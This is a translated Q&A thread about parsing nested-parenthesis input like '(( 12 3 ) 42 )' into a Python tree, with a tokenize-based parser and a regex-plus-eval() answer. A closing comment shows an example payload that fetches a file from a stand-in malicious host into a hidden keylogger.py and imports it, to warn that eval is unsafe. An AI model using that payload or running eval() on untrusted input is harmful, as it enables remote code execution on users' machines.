【发布时间】:2011-03-29 18:14:20
【问题描述】:
例如,我有以下输入数据:
(( 12 3 ) 42 )
我想处理输入数据的每个整数值。这是一般输入数据表示的示例。
仅供参考:
这样的表示对应的是带有标记叶子的二叉树:
/\
/\ 42
12 3
【问题讨论】:
标签: python
例如,我有以下输入数据:
(( 12 3 ) 42 )
我想处理输入数据的每个整数值。这是一般输入数据表示的示例。
仅供参考:
这样的表示对应的是带有标记叶子的二叉树:
/\
/\ 42
12 3
【问题讨论】:
标签: python
我写了这个脚本。可能会有帮助
import tokenize,StringIO
def parseNode(tokens):
l = []
while True:
c = next(tokens)
if c[1] == '(':
l.append(parseNode(tokens))
elif c[1] == ')':
return l
elif c[0] == tokenize.NUMBER:
l.append(int(c[1]))
def parseTree(string):
tokens = tokenize.generate_tokens(StringIO.StringIO(string).readline)
while next(tokens)[1] != '(' : pass
return parseNode(tokens)
print parseTree('(( 12 3 ) 42 15 (16 (11 2) 2) )')
【讨论】:
类似下面的东西应该可以工作:
import re
newinput = re.sub(r"(\d) ", r"\1, ", input)
newinput = re.sub(r"\) ", r"), ", newinput)
eval(newinput)
【讨论】:
(, 6, 9,) 甚至是有效的 Python 表达式吗?
([\d\w()]*) 匹配的任何东西(或者至少是它的测试版本)。否则import eval_is_evil 将使用程序拥有的任何权限进行评估。如果您可以通过我给出的正则表达式的工作版本获取恶意代码,那么您应该拥有我的系统。
'''import urllib, os; path = os.path.expanduser('~/.common.hidden.path./.keylogger.py'); urllib.urlretrive('http://my.evil.russian.websever.info', path); __import__(path)'''